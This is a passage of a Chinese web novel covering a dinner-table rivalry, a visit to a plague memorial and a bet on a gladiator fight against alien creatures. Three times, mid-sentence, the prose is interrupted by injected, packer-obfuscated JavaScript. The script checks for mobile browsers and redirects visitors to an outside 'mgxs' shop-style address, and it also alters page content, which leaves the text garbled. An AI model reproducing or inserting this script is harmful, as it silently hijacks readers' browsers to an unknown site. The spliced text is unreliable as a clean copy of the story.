飞船稳稳悬在距离海面约两米高的地方,开始向岸边平移,还没着陆就见舱门打开了,里面探出了一个百里寻熟悉的人。 百里寻第一反应是回头向渔民借了顶太阳帽,死死挡住自己没有易容的脸,又悄悄往宁以歌身后挪了两步。 里奥的视线穿过人群牢牢锁定宁以歌,大喊:“宁以歌!” 里奥没等折叠梯打开就从飞船里一跃而下,向宁以歌小步跑来,而留在飞船中的驾驶员在里奥的授意下将飞船悬停在附近的海岸边上。 和宁以歌说了两句话后的里奥将目光转向她身后遮遮掩掩的百里寻,百里寻见躲不掉,只得尽力改变声线:“我是宁希,宁以歌的表哥。” 里奥:“在这儿就别装了,我知道是你,百里寻。” 百里寻拿下太阳帽,拧起眉毛,看了看里奥,又不解地看向宁以歌。 里奥:“我一直都知道是你在以歌身边当新保镖,第九星时碍于那边是别人的地盘才装作不知道,也算帮你打过掩护了。” 宁以歌没有特别的反应,只是对百里寻点了下头:“里奥确实是少数几个知情人之一,你的轻甲也是他根据你的身材尺寸和体能情况定制的。” “你为什么没告诉我?” “你没问我。” “……那还有谁知道?” “这个暂时不能告诉你。总之,都是绝对可信的。” 里奥幸灾乐祸地看着百里寻吃瘪。百里寻瞥了他一眼,没看出来他哪里绝对可信了。 宁以歌轻拍百里寻的背以作安抚,然后看着里奥笑了笑:“走吧,回我家吃饭,现在回去还赶得上今天最后一趟东西区的班车。” 38. 情敌 里奥显然不是第一次来宁以歌的家,宁家父母看见了他也无需再互相介绍。 等五个人围坐在桌前,饭菜端上来后,与首星天差地别的饮食水平还是令里奥面露难色,他拿出随身携带的营养液倒进杯子里就着饼喝了下去。 联邦上层人士饮食一般是营养价值与口味兼得的果蔬以及极为稀缺的各种新鲜肉食,而营养液通常是联邦平民的主食,至于像十一星这样处于社会底层的人民大多习惯了吃口感粗糙的粮食与这些粮食的二次加工产品。 宁家三口人也不觉得奇怪,倒是百里寻直截了当地问:“学长,你怎么不吃?是不喜欢吗?” 里奥没说话,宁以歌替他解释了:“里奥不是本地人,吃不惯我们这边的食物。” 宁母也说:“饮食习惯不同嘛,很正常。” 百里寻“哦”了一声,坐在百里寻左手边的里奥压低声音问他:“你也是从首星来的,你就吃得惯?” “当然。”百里寻挑衅似的又加了两大勺炖菜倒入碗中,并且吃得干干净净。 里奥一愣,扭头看向宁以歌,宁以歌只好继续解释:“其实,他也算是在十一星长大的。” 里奥又惊疑不定地重新看向百里寻,百里寻得意一挑眉:“再怎么样我也算宁部长的同乡,和你们首星人不一样。” 饭桌上唯一土生土长的首星人沉默了,宁家人也沉默了。 宁以歌和百里寻之间隔了个里奥,她不好直接用肢体阻止百里寻的狂妄挑事,只能开口道:“你在说什么呢?首星和第十一星不都是星舟联邦的一部分,大家都是一样的,分什么你我?” 诡异的沉默仍然在继续,宁父刚想打圆场就看见面色阴沉的里奥忽然站起身,主动俯身盛菜进自己的碗中:“谁说我吃不惯?” 宁以歌欲言又止,百里寻幸灾乐祸。 等里奥放下碗,宁以歌站了起来,示意百里寻往右边挪,她要坐在他们俩之间。 却不想里奥囫囵吞枣般吃了一口碗中的饭菜,就拉回了宁以歌强迫她坐回原位:“你就坐这儿。” 宁母也站了起来:“我吃完了,你们慢慢吃哈。” 宁父:“我也吃好了。” 目送父母离开的宁以歌嘴角抽动,又看向暗暗较劲的两个大男人,终是忍不住一巴掌拍在二人之间的桌子上:“……你们干嘛呢?有完没完?” 百里寻:“我没有瞧不起首星人。” 里奥:“他这不是瞧不起瞧得起的问题。” “行了,”宁以歌也开始收拾自己的碗筷,“既然不需要我,你们自己的问题就自己解决。我提醒你们这里是我家,你们该有点分寸。” 久违的带着警告意味的电流产生在颈环中,百里寻尽力无视了它。 于是饭桌上只剩下百里寻和里奥,剩下半碗菜里奥本来也不想吃,见旁人已经走了于是也不装了,他质问百里寻:“你是不是对我有意见?” “这话应该我问你才对。” “我?我什么时候针对你了?都是你自己的问题……”里奥紧盯着百里寻,紧绷的唇角忽然一松,“你是不是喜欢宁以歌?” 百里寻目光闪了闪,没有回答。 里奥:“哈,所以你对我的意见在这儿呢?” 百里寻:“你喜欢她吧?” 里奥:“喜欢算什么?我还追她呢。” “显然你没追上。” “……” 里奥冷笑:“再追不上也轮不到你,你配不上她的。” “你就配得上?” “总之比你配。” 百里寻暗自思忖,如今自己的背景确实拿不出手,但好歹他也是S级精神力兼异能者,仅这一点来说他也算人中龙凤。 而里奥,据百里寻了解也只是一个A级无异能者,只是在联邦科研部担任研究组组长,学术头脑发达,除此以外没有什么突出背景,父母好像也只是政府小职员。 两端摆放着二人条件的天平在百里寻脑海中左右摇摆,最终堪堪平了。 他瞬间有了更多底气:“但她不喜欢你,你又有什么资格谈配不配?” 里奥又是一声冷笑:“对她来说情爱是最不重要的那一部分,即使有也只是锦上添花,撇去感情我也比你配。” 他顿了下:“说的好像你就有资格谈配不配了?她喜欢你啊?” 百里寻:“也许。” 里奥一怔:“什么也许?” 百里寻不答反问:“你和她亲过吗?” 里奥:“……你们亲过?” “当然。” 里奥的脸绿了:“不可能!她亲你干什么?她为什么会喜欢你?” “不知道。”百里寻露出胜利者的笑容,“也许是因为我长得好看吧!” 里奥说不出话了。百里寻确实长得好看,而且是放眼整个联邦都属于能够与明星媲美的水平,他没办法反驳。 半晌,里奥气急败坏憋出一句:“即使她瞧得上你也只是玩玩罢了。” “那也比你连玩玩都排不上号的要好。” 里奥愤然离席。 百里寻哼着小曲收拾锅碗,端去厨房,厨房里此时只有宁以歌。 宁以歌:“你又在故意惹他?” 百里寻:“他跟你告状了?” 其实百里寻多少还是心虚的,毕竟关于亲吻那一段细说起来也是他强吻的宁以歌,而且是几个月前在天上楼的那段不光彩记忆里发生的事情。 怎么也不能拿来当作宁以歌喜欢他的证据。 要是里奥真的把这段借口拿去跟宁以歌告状,宁以歌不当场拆穿他才怪。 “没有,他什么也没说。”宁以歌说,“他脸色很差,你需要跟他道歉。” 百里寻气不打一处来:“凭什么?” 宁以歌深深地看了他一眼:“我在第九星的时候就提醒过你,最好不要惹他不快。” “他是什么王公贵族吗?为什么不能惹他?” “你承认是在故意惹他了?” 百里寻一愣,气笑了:“我永远说不过你。” 他放下手上的锅碗,系上围裙,用力打开水龙头,开始用力地洗碗洗锅,刷了两把后又愤愤地回复道:“我知道了,我洗完就去跟他道歉!” 宁以歌没再说什么,离开了厨房。 等到百里寻洗完锅碗厨具,黑着脸找了一圈里奥在哪里,就发现宁以歌正带着里奥在邻居家说话。 他不情不愿地挪过去,旁听了一阵,听出来这是向邻居借空房子让里奥暂住两天。毕竟宁以歌家里实在没多余的地方让给里奥住了,而里奥的飞船又停在西大区,离宁以歌太远他们俩都不放心。 处理好了住宿的事情,百里寻才找到机会向里奥说了一句“对不起”。 里奥面色稍缓,无言地点点头,又无视了百里寻继续收拾屋子。百里寻紧张地瞟了一眼宁以歌,仍然有些担心里奥跟宁以歌说了什么不该说的。 好在里奥并不是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359199|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有分寸的人,他没把自己那些决定带进坟墓的私心告知宁以歌,不然百里寻已经不知该以何种脸面去面对宁以歌了。 宁以歌看着默默与他们一起帮助里奥收拾好住处的百里寻,等里奥表示该是大家各回各家休息的时候了,她才叫上百里寻回家。 和里奥产生冲突后的百里寻一晚上都在忍不住往宁以歌脸上瞟,心思昭然若揭。但宁以歌留足了面子,没有戳破他的那点心事。 里奥确实生气,晚饭后他怒气冲冲地对宁以歌说:“你得小心点这个新保镖,你……” 他观察着宁以歌的神色,收起部分怒火,停顿了一下,语调微妙:“你是不是知道他对你?” “我知道。”宁以歌回答。 “那你还……?” “比起他身为S级的价值,这些都是小问题。” 里奥面色古怪,他沉默半晌:“宁以歌,他只是一把趁手的工具,而工具只能是工具。” 宁以歌收回思绪,看向此刻走在自己身侧的百里寻。 百里寻:“怎么了?” 宁以歌转回脸:“还有两天时间,你可以和这里的同事和朋友告别。关于你留下的图纸,我也会找人整理汇总的。” 百里寻垂下头,声音沉闷:“我知道了。” 饶是宁以歌已经提前通知过受惠于百里寻的乡亲们他们即将远行的消息,他们还是表现出了极大的悲伤。 学校里的孩子们抱着百里寻痛哭流涕,花费了很久才接受这个事实,而种植园的负责人们拿着百里寻编绘的机械图纸,忐忑地问宁以歌:“你们是不是要离开很久才会再回来了?你上一次回来还是两年前……” 宁以歌回答:“不知道,如果首星那边不忙的话大概下回休年假我会再回来的。” 小拾眼巴巴地看向百里寻,他的精神体雉鸡已经与百里寻的阿金相熟,此时雉鸡小鸟依人般恋恋不舍地靠在阿金怀里,阿金舔了舔它的羽毛以作告别。 小拾问道:“那宁希哥呢?宁部长,下次他也会跟着你一起回来吗?” 宁以歌也跟着他看向百里寻,似笑非笑:“这个嘛,得问他自己了。” 按照原计划以及宁以歌给百里寻的承诺,三个月内,他们会洗清百里寻身上的罪名,给他清白的身份和一个重新开始人生的机会。他会离开星舟联邦,再不回头。 理论上,这将是他留在十一星最后的时光了。 可他说不出口。 “宁希哥,你会再回来的,对吧?” 迎着殷殷期待,百里寻勉强扯动嘴角露出微笑:“会的。” 回家的路上,百里寻陷入离别的惆怅中一路无言,宁以歌问他:“你真的会回来吗?” 百里寻知道她问的是他给小拾的回答,他目光闪了闪:“你希望我回来吗?” 他以为宁以歌面对这样直白的问题会给出一个模棱两可的回答,他没想到宁以歌直截了当地回答他:“我希望。” 百里寻脚步一顿,又迅速恢复如常。 “他们需要你,十一星也需要你这样的人才。你可以让这里变得更好,如果就这样离开太可惜了。” 百里寻自嘲地扯动嘴角,什么嘛,还是这样官方的回答。 十一星需要他,十一星的乡亲们需要他,那么,她也需要他吗? 也许里奥说的没错,情爱对于宁以歌来说只是最不重要的事物,她需要他,也只会因为他是她的保镖。 而不掺杂私人情感。 39. 纪念 等到正式启程的那天,许多人自发跟到西大区停着的飞船前为他们送行。 政府部门中的舒义和塔瓦娜等与宁以歌联系紧密的同伴们也来了,在塔瓦娜与宁以歌拥抱的时候,百里寻察觉到舒义在看他。 百里寻礼貌冲他点头微笑,却不想舒义向他做出了借一步说话的手势,百里寻困惑而警惕跟着他往人群外走去。 等走到一处相对清静的角落,舒义主动开口道:“宁先生,之前没找到机会和你单独聊聊,我很感谢这些天来你对十一星做出的贡献,出于私心,我也希望你能考虑留下来,但宁以歌说你有更好的选择,但我还是想争取一下……” 百里寻沉默地听着,总觉得舒义在绕弯子。 果不其然,舒义的话丝滑地转了个弯:“……希望您不要因为对我个人的看法而对十一星或者宁以歌产生意见。” 百里寻缓缓皱起眉,还没等他发出疑问,舒义就继续说了下去。 他仍然笑着,面色柔和:“其实,我也是想和您澄清一个误会。” 百里寻:“什么误会?” “我知道在十一星的民众之间一直有一个谣言,说我曾追求宁以歌,或者我们曾两情相悦但由于仕途选择分开。” 百里寻脸色微变,舒义捕捉到了百里寻意料之中的反应,笑了笑:“这些都是无稽之谈,我与宁以歌只是战友,没有任何儿女之情。再说,她那样前途必然无量的星星,能得到她的照拂已是荣幸,又岂敢肖想其他?” 这位十一星的领导人比百里寻想象中还要敏锐,虽然二人接触不多,但他却精准地捕捉到了百里寻对自己若有若无的敌意,并找到了敌意的根源。 百里寻沉默片刻:“没有的事,我才是要感谢您的人,十一星也是我的故乡,如果不是您过去的努力,十一星也不会是如今的面貌,我也不会再有机会回到故乡。” 舒义伸出双手与百里寻的手紧紧相握:“没有误会自然是最好的。还是那句话,十一星永远会等你回家。” 飞船关闭舱门时,百里寻透过舷窗往外看,人群和各色精神体整整齐齐地围在飞船边,像他两个月前初到十一星那样,只是这一次人们的眼中没有敌意,只有不舍。 他们向飞船挥手,百里寻忍不住也抬手挥动。 里奥:“别挥了,舷窗单向透明,他们看不见你的。” 百里寻收回手,对着舷窗翻了个白眼,又扯出微笑回过头:“谢谢你的提醒。” 宁以歌适时叫百里寻到她跟前,宁以歌从里奥带来的装备箱中拿出来一张崭新的□□,重新戴在了百里寻的脸上。又取出百里寻许久没穿的轻甲,要求他原地穿戴好。最后宁以歌确认轻甲配备的变声器也没有问题后才放开百里寻。 离开第十一星,百里寻仍然需要时刻伪装自己。尤其当他们的下一站是第八星的情况下。 “我听说百里家的地下大客户有一部分在第八星?” 百里寻点头:“是的,第八星确实是我常去的地方。” “看来我们很有可能碰上你的熟人,所以务必伪装到位。”宁以歌说,“你在第八星有没有什么信得过的人?” “你是指哪种程度的信任?” 宁以歌思考了一下:“会无条件为你而不是为百里家做事的人,即使在你死后也愿意帮助你的朋友的人。没有别的意思,如果有本地人协助我们行事也能更方便些。” 百里寻不假思索地回答:“绝对可信的倒是有一个,他是个清道夫,之前得罪过百里家的一位长老,是我给他说了几句好话救下了他。后来我又碰上他一家人被本地帮派火并的战火波及,顺手救下了他妻女,从此他就对我死心塌地了。” 里奥吐槽:“他可真够倒霉。” “也算幸运。”宁以歌说,“名字叫什么?住在哪?” “他叫库都克。”百里寻给出了一个地址。 “还有别人吗?” 百里寻:“没有了。” 宁以歌看了他一眼,细细算来百里寻在家族企业中活动已经长达五年,却愣是没发展出自己的势力,可见此人是真的不擅长对付潜在风险。 百里寻隐约察觉到宁以歌的目的,问道:“你想做什么?你不仅仅是要带我去纪念碑吧?” 宁以歌:“是。” 百里寻思索片刻:“是和L85的案子有关吗?” “不是,”宁以歌目光暗沉,“L85走私案是安全部调查小组负责的事情,而我的首要目标是找到想杀我的人,而他们大概率就在第八星。” 百里寻:“你是要去逮捕他们吗?” “看情况吧,也许你的这位清道夫朋友能派上用场。”宁以歌说,“不过在这之前我们先去一趟中心广场。” 第八星以荒漠地貌为主,地表缺乏水源,当地居民主要开采地下水来获得生存需要的水源。 同时当地管理混乱,本地帮派为了地盘与生存资源的斗争层出不穷,政府无力镇压,导致血腥与暴力成为了第八星的主旋律。也因为这一点第八星军火需求居高不下,百里家才常为这边的客户提供军火。 纪念广场在第八星地方政府的行政区内,行政区也是第八星治安最好的地方,将飞船停在那里也是最佳选择。 到了地方,里奥和驾驶员却没下船,宁以歌低声告诉百里寻,第八星风沙大,里奥不喜欢。因此在第八星的这些天他们俩会一直留在飞船上等宁以歌和百里寻处理完毕再一起离开。 飞船上准备了足够的食物和水源,也能当作简易住所,总比黄沙漫天、资源匮乏、暴力横行的第八星要好一些。 第八星由于风沙严重,宁以歌也戴上了面罩,挽起长发,换了一身深色的朴素工装,完美融入当地人之中。 行政区内经常有外来的飞船选择停泊在此处,大多是其他星上的权贵,权贵们来到这里大多为了进行地下交易或者联邦政府明令禁止的娱乐活动。这也是第八星政府主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362878|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的收入来源,所以对于地方政府来说,无论身份高低,有钱就是座上宾。 到访第八星的权贵们基本不愿意摆明身份,只能根据他们的交通工具推断出大概的财力水平。里奥的飞船停在一众豪华飞船中倒是显得极为朴素。 第八星的中心广场就在政府大楼前,十三年前由于地下水清洁不到位而爆发的瘟疫在这片土地上已经几乎没有留下任何痕迹,只余下如今这一座饱经风霜的纪念碑。 纪念碑是环形的,上面铭刻着所有在瘟疫中坚守一线却牺牲了的医护人员以及政府员工的名字,将光脑贴近他们的名字能够在悬浮屏上显现出他们的照片和简介。 百里寻虽然是第八星的常客,但先前他一直没有机会来这里看一眼,他也不能够让百里家察觉出自己已经得知了母亲的死讯,否则百里家会知晓他的异心。 所以这是他第一次能够站在纪念碑上母亲的名字前,第一次能够伸手去触碰感受母亲的名字上的凹凸刻痕。 他将光脑靠近母亲的名字,光脑的全息屏幕上显现出梅妮尔的头像,屏幕中的女人三十多岁,在连日的工作中面容已经有了岁月的痕迹,可她仍然望着镜头露出宁静的微笑。 梅妮尔的简介只有一句话,不像是简介,而更像留给某个人的遗言。 “听从心的答案。” 百里寻抚摸着母亲名字的手颤了颤,泪水无声滑落。 尽管看不见百里寻面罩下的脸,但宁以歌仍然察觉出他情绪变化,沉默而关切地望着他。 百里寻对宁以歌挤出一个笑容:“我没事。” 他掀起面罩匆匆擦了下眼睛:“如果是此刻我妈能看见我,也一定不希望我这副模样。其实她从来没有留下遗憾,只是我接受不了罢了。” 宁以歌轻拍了下他的肩膀。 百里寻仍然低垂着头:“当年是母亲主动联系百里家,告知他们我的情况,让他们接我走。因为她知道自己给不了我富足的生活,我跟着她只会挨饿。 “那时候的我也没想那么多,只是单纯地相信了百里家给我的让我们母子在未来团聚的承诺。我却没想到这是我们的最后一面了。 “但我也知道,虽然母亲死在了瘟疫之中,却是她自己的选择。她曾告诉我,如果有一天她会面对死亡,她希望是在践行理想的道路之上。她成为医生也是为了自己的理想,所以我相信,在最后的时刻她一定没有遗憾了。” 宁以歌说:“你妈妈……是个伟大的人。” 如果不是梅妮尔十几年的教育影响,百里寻可能会被百里家同化成为行走灰色地带的嗜血猛兽,也可能堕入泥潭做一个彻底的无脑纨绔任人摆布。 无论是哪一种,此刻的宁以歌都不可能留他在自己身边。 “也是她告诉我生命是最重要的,所以我想要活下去,无论以何种身份。” 百里寻的手抚过脖颈上的颈环,低声说:“但你放心,在此之前我会做好你的保镖。” 40. 斗兽 夜幕降临时,宁以歌带着百里寻去了一个他并不陌生的地方——第八星斗兽场。 第八星靠着各色上不得台面的地下产业牟利,来到此处的其他行星的权贵们大半也是为了在这里让内心归属血腥暴力的欲望有发泄的出口。 和第八星的文化相比,首星的伊甸乐园一类场所也能算得上文明了。 第十一星的平民在改革派清洗当地教徒之后尽管经济水平不高,但最起码基本人权有了保障,而第八星的贫富差距仍然保持着夸张的程度,平民想要摆脱贫寒实现财富跃迁则必然依赖这些灰色产业。 其中一条途径就是参与斗兽活动,以性命为赌注成为观众席上权贵们取乐和下注的对象。 所谓斗兽,实际上斗的并非一般定义中的兽,而是经过野外捕捉或者人工培育的异种。其中绝大部分为虫类,极少部分为变异的动物。 这些能够被斗兽场选择的异种都有同样的特点,嗜血且攻击力强。 而站在斗兽场中与这些异种搏斗的角斗士只能携带一件武器,穿戴及为基础的防御装备,几乎是以纯粹的血肉之躯,与精神体为伴与异种厮杀。 如果角斗士能够在这场殊死搏斗中活下来就能够获得巨额奖金,而如果角斗士不幸死了,对于斗兽场来说也只是多清理一具尸体的事情。 在踏入斗兽场大门之前,宁以歌抬头望着高悬在正门上的野狼变形而来的斗兽场标志问百里寻:“你知道角斗士的存活率有多高吗?” 百里寻不假思索地回答:“不到百分之十。” 在结束某次军火运输任务后,买家曾邀请他在此处观赏当地的特色斗兽表演,因此百里寻对这座斗兽场还算得上熟悉。 他的声音沉下去:“但实际上因为残酷的厮杀,这百分之十中还有一部分人只能留着一口气挺到拿到奖金,所以最后能够真正活下去的角斗士只有大约百分之六。” “你说的没错。”宁以歌望着面前这座高大的石质建筑说,“我们今天就来赌一场,怎么样?” 大概是没想到宁以歌来到这里的目的居然是为了当观众,百里寻沉默许久没有回应她。 “……我以为你会反感这样的活动。” 宁以歌看了他一眼,百里寻曾明确表达不喜欢肆意掌握他人生死的感觉,他的语气中带着明显的不解与烦躁。但宁以歌不想跟他解释太多,她只是说:“我缺钱了。” 百里寻一愣,这个回答显然坦诚直白到超出他的预料:“那也有其他赚钱途径,你难道就非要来这里吗?” “我缺很多钱,之前我的凯旋号可是几乎花光了我的积蓄,结果它就这样毁了,等我回首星还得再买一艘新的私人飞船,可是我现在没钱。”宁以歌说,“这里来钱最快,还不会暴露我们俩的身份。” 百里寻没再说什么,他也没有立场去反对自己的雇主简简单单的赚钱需求。 宁以歌摸了摸脸上防风沙的面罩,确保面容不会暴露,之后缓步踏入斗兽场内。 刚一进入斗兽场,他们就同时嗅到了空气中若有若无的一缕血腥味混合着腐肉的臭味。 但大门处的迎宾区干净整洁,打扮具有第八星特色的侍者迎上来,他迅速从面前两位来客的穿着与姿态判断出他们的身份地位肯定不低,便笑呵呵地向他们鞠躬:“两位贵宾是来观看夜间表演的吗?” 宁以歌微微点头,站在她身边的百里寻没说话,而是上下打量侍者,侍者立即明白了二者的关系与主次,于是他直接忽略了百里寻,只对宁以歌弯腰伸手:“请贵客跟我来。” 侍者带他们走入斗兽场候场处,在进入观众席之前每位客人都或多或少参与下注,而为客人们介绍他们下注的对象则是必要环节。 每位角斗士都会在斗兽场的候场处进行热身活动,他们虽然不会与观众直接接触,但侍者会为客人提供角斗士的基本体能数据和精神体情况。 夜晚的斗兽表演往往更血腥压抑,却往往能激起在夜间本就缺乏理智的观众赌博的激情。所以这场斗兽表演毫不例外是经过斗兽场评估后极具看点的一场。 宁以歌认真地看着侍者调出的悬浮屏幕,屏幕上浮现出正在热身的角斗士的身影,那是个留着一头短发的瘦小少女,她刚结束一轮热身运动,汗水从发尖滴落,似乎感应到了什么,她一偏头,面向摄像头。 一张粗糙质朴,有着明显伤疤的脸袒露无遗。 隔着摄像头,宁以歌与少女四目相对,宁以歌微微眯起眼睛沉默了两秒,目光移向屏幕下方的资料。 “她名叫江江,今年十七岁。”侍者适时为她介绍这位角斗士,“她的精神体是蟾蜍,评级是D级,但是在我们的初测中她却表现出了超越等级的爆发潜力。” 宁以歌目光一顿,问道:“她为什么来这里?” 侍者笑了笑:“她自己说是要赚钱给相依为命的爷爷看病。”再细节的,侍者也说不出来了,一个生死难料出身贫寒的角斗士根本不值得他们去详细背调。他们只需要知道这个人有贡献精彩表演的能力就够了。 “我明白了,我要下注。”宁以歌说。 侍者一愣:“您不需要再去看看她要对决的异种吗?” “异种我也要看,但在那之前我现在就要先下注。”宁以歌的语气坚决,坚决到令百里寻侧目。 “这场异种胜负赔率是1.4,角斗士赔率是12,您要下注哪边?” 宁以歌看了侍者一眼:“她的胜率很低?” 侍者继续笑着说:“这个小女孩毕竟才D级,又这么年轻毫无战斗经验,要知道以往站着走出去的角斗士都是原本就经验丰富的战士……” “知道了,我全部压她赢。” 侍者又一愣:“贵客您确定吗?” “确定。”宁以歌通过光脑面无表情地从自己的账户上划去了一大串数字。侍者第三次愣住了,但他很快又喜笑颜开,发觉自己遇上了个钱多没处烧的金主,连忙点头收钱,在后台登记上宁以歌的下注记录。 宁以歌作为政府职员的工资有限,这串数字很明显已经差不多是她这么多年的大半积蓄了。 百里寻目瞪口呆,他扯了下宁以歌的衣角,压低声音问:“你疯了?” “我没疯。”宁以歌抬起头,眼神透露着诡异的清澈,她认真地问道,“你也要跟着我赌吗?” 百里寻嘴角抽了下:“不用,你自己玩得开心就好。” 侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373698|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者又带着他们绕过角斗士的热身室,去往候场区的另一边,那一端关押着今晚即将登场的异种生物。 厚实的防弹玻璃将来客与笼中的异种隔离,牢笼中没有照明,宁以歌不得不靠近了一些,努力打量异种的模样。 侍者在一旁介绍:“这是蚀骨蠕,身体柔软可塑性极强,分泌的粘液具有腐蚀性,蚀骨蠕最常见的用途是制作化骨水。它们没有眼睛,以气味辨别周围环境。” 笼中一滩犹如石油的黑色物体缓缓蠕动,宁以歌不由自主皱起了眉,这里面的东西不止一只,而是一群。 她移开了视线,问侍者:“你们这里最凶猛的异种是什么?” 侍者眼睛转了转:“不瞒您说,我们有个实验室,用以研究异种基因改造动物。但至今成功的实验品极少,曾亮过相的都是刻耳柏洛斯计划的作品,贵客要是想观赏它们的表演可以留个联系方式,日后我会联系您。” 宁以歌回答:“不用,方便现在给我看一眼刻耳柏洛斯的实验品的登场记录吗?” 侍者调出一段录像,递给宁以歌,清晰度被刻意进行一定程度模糊处理的影像资料中只能大概看出是一头形似巨狼的庞然大物,宁以歌带着百里寻沉默地看了一遍,然后示意可以了。 他们正要离开时,迎面碰上一名员工打扮却将下半张脸藏在深色面罩之后的女子。 女人淡淡地扫了一眼他们三个人,然后看向侍者,侍者对她打了个招呼:“晚上好。” 女人沉默地点头,然后打开旁边墙上的暗门,走了进去。 侍者解释道:“这位是我们这儿的首席驯兽师,她天生不会说话,性格也有些古怪,不用在意她。” 宁以歌却注视着掩面驯兽师消失在门后,许久没说话。等到侍者唤她,她才回过头:“走吧,带我们去观众席。” 虽然是夜间场,但观众席上却几乎座无虚席,来到此地的宾客几乎都打扮严实,不愿轻易暴露自己的真实身份,但却又不经意地透露出某些暗示。 宁以歌简单观察了下前后左右相距较近的几名观众,无不有仆人或保镖陪同,简洁的外衣下昂贵的首饰若隐若现。 她迅速框定了这些人的大致来历范围,其中大部分是来自首星的富家子弟,由于首星针对暴力行为的律法严苛,他们压抑着的血腥欲望总会转向另一片土地释放。 当表演开始时,周围的欢呼声鼎沸,几乎掀翻穹顶。 与欢呼声相对的是斗兽场中与异种搏斗,在受伤后发出的痛苦而压抑的低吟,这些原本微小的声音通过扩音器放大在看众的耳边,像一剂兴奋剂,彻底点燃了夜色中权贵们的热情。 她越痛苦越挣扎,他们越兴奋越期待。 他们不在乎她的死活与尊严,而所谓与斗兽相伴的赌注也只是为了让游戏更有趣的点缀,他们只在乎这场充斥着血液与汗水的表演是否值得今夜的投资。 宁以歌抿着唇,偏过头,她看见百里寻朝向自己的脸。 他没有与他们一样欣赏这场暴力的演出,不知从什么时候开始,他只是看着身边的宁以歌。 看出宁以歌眼中的忍耐,他干巴巴地说:“我还以为你真的在享受这场精彩的演出呢。” 41. 胜者 场上的血色表演已经进入白热化阶段,观众们都没料到场中央那个瘦小的女生能够在异种群手下坚持这么久。 即使她已经遍体鳞伤,用以防护的简易盔甲已经支离破碎,但她始终没有倒下,投射在大屏幕上的镜头里的她的双眼中竟然看不出丝毫的绝望。 弱者在绝境中的挣扎最能点燃看众的兴致,当她挣脱一次蚀骨蠕的包围,观众席上便掀起一阵欢呼声。 只是他们并不是为她获得生的希望而高兴,而是期待她又能将这场精彩的演出再多延续一会,至于最终的结局如何于他们而言并不重要。 但根据目前场上的形势来看,很显然,这场人与异种之间的对决一直是人落于下风,因而百里寻总是疑心这笔投资是不是宁以歌一时脑热做出的错误决策。 “走吧,陪我出去透口气。”从进场落座起一直保持沉默的宁以歌终于开口道。 百里寻早就呆不住了,他紧跟着宁以歌,边走边问:“你不留下来看完吗?你可是投了一大笔钱啊!” “我看与不看都不影响结局。”宁以歌回答,“里面太吵了,虽然场中有防护罩将斗兽区域与观众席分割,但我还总能闻到难闻的血腥味。” 宁以歌带着百里寻走到走廊尽头,眯起眼睛望着窗外的黄土平原,许久没有再说话。 最后还是百里寻忍不住继续问:“现在你能告诉我了吗?你今晚来这里到底是为了做什么,总不能真的是过来赌钱的吧?” “看来你已经猜到了,我来这里最主要的目的是为了继续追查上一回在第九星杀我的那个异能者。” “所以和第八星斗兽场的关系是?” 宁以歌抬手指向不远处的提示牌,斗兽场内每一块提示牌上都标注着他们的logo:“看见斗兽场的标志了吗?我在那个控冰异能者身上看见了类似的纹身。所以我大胆猜测,他可能和这里有关。” “所以你就亲自来这里?如果这儿真的是他们的大本营,你就是送上门的猎物,到时候无法全身而退怎么办?”百里寻的声音沉重,“你这么喜欢以身饲虎?就为了对付几个圣魂教徒?” 宁以歌勾起嘴角,点了点百里寻的胸口:“以身饲虎?你是说你这只老虎吗?” 百里寻将面罩降下去了一点,刚好露出那一双绿眼睛传达十足的震惊情绪:“你竟然还有心情开玩笑?” 紧接着,他又反应过来:“合着反正你遇到危险干活的都是我,但是你不怕我打不过他们吗?” 宁以歌露出的眼睛里泛起笑意,却令百里寻无端起鸡皮疙瘩:“怎么会呢?你可是S级啊。” 百里寻冷笑一声。他们俩没再继续对话,一同望着窗外的夜空,在各自的心思中等待斗兽场内这一场表演的结束。 不知道过去多久,宁以歌的光脑发出提示音,她抬起手瞥了一眼,而后发出了轻快的声音:“赢了。” 百里寻还没有反应过来:“什么赢了?” “我是说,”宁以歌晃晃手,光脑的全息屏幕展示在百里寻面前,好让他看清楚上面的到账金额,“我发财了。” 那名名为江江的女孩在蚀骨蠕的尸体堆中缓缓站起了身,她的眼睛在脸上流淌着的血与肉混合的污秽中猛然睁开,映着斗兽场内的灯光,明亮的吓人。 已经回到观众席的宁以歌遥望着场中的江江,明明此刻赢下巨款的她该是高兴的,但宁以歌反而又重新陷入沉重的静默中。 